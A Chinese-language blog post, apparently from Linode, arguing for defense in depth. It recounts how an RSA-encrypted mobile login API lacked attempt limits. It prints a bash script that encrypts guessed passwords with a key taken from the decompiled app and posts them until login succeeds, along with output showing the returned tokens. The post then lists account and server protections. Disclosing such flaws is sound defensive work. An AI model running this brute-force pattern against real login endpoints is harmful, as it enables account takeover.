纵观历史,由于规划者对其解决方案的质量过于自信而导致的失败数不胜数。无论是永不沉没的泰坦尼克号,还是第二次世界大战中坚不可摧的马奇诺防线,对单一解决方案过于自信一次又一次地造成了可怕的灾难。
在网络安全领域也不例外。如果只采用单一的网络安全防御方案,就会自找麻烦。
单一安全解决方案的危险
在本文中,我们将介绍一个电子商务提供商的特殊案例。这家公司为其移动应用程序构建了一个新的登录 API。他们要求在任何身份验证请求的有效负载中对密码进行 1024 位 RSA 加密,从而加强了安全性。
这是个好主意。毕竟,这可以让中间人攻击变得毫无用处,因为验证信息是无法被人类读取的。它以 base64 编码和 RSA 加密字符串的形式出现。由于身份验证请求来自他们自己的应用程序,因此这是一个相当不错的方法。竖起大拇指
但是......事情还不止这些。一个糟糕的想法是,他们认为这种安全措施就是他们所需要的全部。他们没有继续采取强制执行最大密码尝试失败次数等措施来提高安全性,而是决定直接发布,然后继续其他开发工作。
虽然看起来一切正常,但他们的解决方案存在一个重大缺陷。通过使用JADX反编译他们的移动应用程序,可以很容易地观察到 1024 位公钥。
通过将公开密钥保存在本地文件中,攻击者可以循环使用他们喜欢的任何密码,并根据目标的公开密钥对所有密码进行加密,从而彻底消除最初确保身份验证端点安全的工作。
由于该端点没有密码尝试失败的最大次数限制,因此我编写了一个bash 脚本,可以自动检查任意数量的密码。我设置了一个简单的密码倒计时,向这家电子商务提供商证明了问题的存在:
#!/bin/bash API_ENDPOINT=" https://auth-api.example.com/login/" for i in {10..4} do echo "Welcome $i" PASS="faster${i}ward" echo $PASS export PASS_ENCRYPTED=`echo -n $PASS | openssl rsautl -inkey public_key.pem -pubin -pkcs -encrypt 2>/dev/null | base64` echo $PASS_ENCRYPTED curl -s -H "user-agent: Android com.example.tw.catalogue/3.2.9" -H "authorization: bearer" -H "content-type: application/Json; charset=utf-8" --data-binary "{\"password\":\"$PASS_ENCRYPTED\",\"t\":\"1808339324341\",\"email\":\"tleung@akamai.com\"}" --compressed $API_ENDPOINT sleep 1 done |
下面是我的脚本输出:
Welcome 10 faster10ward ir/P32oOF9RxgoTirkbqDdRw5vnwFHaR9iAH5T+LMvHGrLIHGQbMSvOipTkC7XYZJobSQ3ykSUnNyqNfNJHbyGYADz+WumkEvT46TWfIM+qw3+q38IAV+IPgaqSCSajRcgQbfmVpy3ALbp8vUNFDT5DC8UXvFkd+vQp6BhpOTfw= {"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0} Welcome 9 Faster9ward UmIIi2NAnLiGazENw0rg2+zMgW4o38LgjnM2yc5kz9wn29vIzDCKjqF4yn9GVVPziTz6bQWoDfjfvkgMrgkLMP0nnmITMhjKAxL1dkGEAkURmOYjHp2myXT6YGf+34UCXd1wBmIHWEjFE1L5MjVrhffKJhwAJdcfIZyiJ5B0QeY=
{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}
Welcome 8 faster8ward
EZX/hFBEp1+vsI7bMj1y2SANXjyF0FPnJZvNqbTiAVS15f+sIbOEauaxnPXcygTeVzMCo1qbyVaIIS3PyTeBSB+71cuIm0tnEPLTpVEFIEa9gZsmstMqSDZ5S1vKkSSdfplzoHZrqPAJtcMusngPlTljb 1Q74gDWZ5OpCf3u+C0=
{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}
Welcome 7
faster7ward
A3l3YVaLwiMc21aO0IrluA6qBfXqYbbkkA/900u4KPgrm5N7yQRwU0I4tWjnA1Sby4LlTPtXhNu 57xAOI2CSYb25OnR3oKW4Tuxi2vDwX+Nvjv/OWprLfmm7vjRw9UNYRDN0Em80vflE8XAn0ALYIWu3iBvQQ3eA68qF1O0OTkg=
{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}
Welcome 6
faster6ward
Iw4IQri/ZpvgvRTAZtnrT9dF2VyikyuHd2kpsmxTA9tzS0VwAcD3IaRXTUtbdW2DW+WSTl4AU6Pbvmx3ntzOeygBVWnjjQv+s5iB/XnbfDEO/nJJd3RVyB6DehGGCvBs7CHofb5bqGQPc4KWoyWlvhqdAAn9nnOasrorVhVOn44=
{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"total":0} Welcome 5
faster5ward
l+JV6BCRUEBWOmQywMDx9DvxPaVGNQQAsNBSpCWBmp3Lzrq6mX9ADvmkGVJRRkT7naz/udH+9HNC/lEX9K2GVO9ZAVHyqxRtjMvoNNjyx7rZZ/8chZRsT1MDb2Yu5rCmFrvruhcSGGHiRX4w/BLPj7PgfhNQQPmUkzVqzXMNW3o=
{"msgCode":"UR_PASSWORD_03","msg":"UR_PASSWORD_03","resp":null,"success":false,"tot al":0}
Welcome 4 faster4ward
SVZ0UtJMFqvCPYBY4JkvQGOf5Uf3ingQji91bI1wRtCKBSDi3zUazf+43E/jVM/LowQWkh9hK0f54Mk3KWBZoUnhjSItBpvU+bKizVYC5pwNb7aIwfkaN3ZBfQ6qLKBu3wC/1DmKXgqDdTyv3/wfVQSoaqkMl2Lvh7ND1OWDgnA=
{"msgCode":null,"msg":null,"resp":[{"access_token":"dcab64a8-4563-4f24-a9ea-1ffa04a92e27","refresh_token":"803f5d3e-5a6c-4414-9c3a-c36f4cef4d8d","scope":"read write trust","token_type":"bearer","env":"idc","expires_in":124571}],"success":true,"total":0} |
让我们来分析一下。在一个 for
在这个循环中,我首先会收到一条欢迎消息,宣布我将插入哪位数字,以获取我为这次概念验证设置的密码。然后,我们将看到密码和随后发送到 API 的加密值。(你不会真以为我会用这么简单的密码吧,更不会在这里泄露吧?)
最后,我输出了密码检查的 API 响应。在前六次尝试中,我都得到了不成功的响应,但当我最终得到我的超级安全 (😉) 密码 faster4ward
在此情况下,应用程序接口允许我使用正常的授权范围进入。
RSA加密验证有效载荷也不过如此...
如何避免同样的错误
既然我们已经发现了问题所在,那么我们应该怎么做呢?让我们从导致我们陷入困境的根本性思维错误开始。要成功确保任何网络应用程序的安全,需要做的事情有很多 ,因为要确保应用程序的安全,没有灵丹妙药!对于我们上面的具体例子,除了强大的 RSA 加密外,你还需要采取其他措施。
任何暴露在互联网上的系统的安全都必须遵循深度防御的原则:必须在网络存在的整个表面区域部署多层防御,而不仅仅是在你认为最有趣或最明显的地方进行防御。
幸运的是,Linode 在我们的平台中内置了许多强大的安全功能,而且有许多行业标准来应对一些常见的攻击载体。其中一些解决方案适用于您的 Linode账户,另一些则直接适用于您的 Linode。让我们来看看这两种类型的保护。
保护 Linode 账户的管理员访问权限
如果有人能进入您的 Linode 账户,游戏就结束了。进入您的 Linode 变得微不足道。因此,Linode 账户在构建时就考虑到了安全性。默认情况下,每个 Linode 账户都必须使用电话验证。Linode 还要求配置安全问题和答案,以便恢复账户。
除了电话验证,您还可以使用基于时间的一次性密码(TOTP)验证码配置双因素验证。虽然 2FA 不是账户的必选项,但强烈建议激活,因为它比密码和安全问题更安全,甚至比电话验证码更安全。
另一种安全级别可以完全避免使用 Linode 密码。您可以使用第三方验证 (TPA) 源。使用这种方法,您可以在自己选择的第三方源(目前支持 Google 和 GitHub)上配置安全的登录方法。这样可以降低密码泄露导致您无法访问 Linode 账户的几率。
保护账户的最后一种方法是设置可以访问账户特定部分的特定 用户。这样,您就可以对子用户在您的账户上的操作设置一定的权限,从而进一步降低攻击者对您的账户造成无情破坏的可能性。
在访问基础架构各部分的用户之间引入这种关注点分离是一种很好的做法。当然,如果你是一个人的团队,这可能没有必要。不过,如果你确实做到了真正的关注点分离,那么这将使你能够确保不会对你的账户或基础架构进行未经授权的更改。
保护您的 Linodes
确保账户安全固然重要,但确保服务器和基础设施的安全可能更为重要。毕竟,大多数攻击者都试图通过基础架构而非托管提供商进入您的基础架构。Linode 在此也为您提供保障。
最好的起点之一是Linode 应用程序Marketplace 。无论您是需要部署安全解决方案(如Haltdos WAF)来阻止服务器入口处的恶意流量,还是希望一键安装监控堆栈(如Prometheus + Grafana 设置),都可以通过Marketplace 轻松实现堆栈的安全和监控。
第三方应用程序也不是您唯一可以使用的解决方案。LinodeCloud Firewall是一个很好的解决方案,可以直接从云管理器中轻松配置。在 Linode 上同时使用LinodeCloud Firewall 和防火墙实际上也是一个不错的主意。
另一个良好做法是确保您的服务器免受 DDoS 攻击。使用 Linode,您可以在默认情况下免费保护整个基础架构免受这些攻击!您甚至不需要做任何配置。
总结
关于安全,还有很多话要说,但现在说这些也许已经足够了。总之,要避免因为巧妙地解决了一个问题,而忘记了安全方法中可能遗漏的其他问题。
注释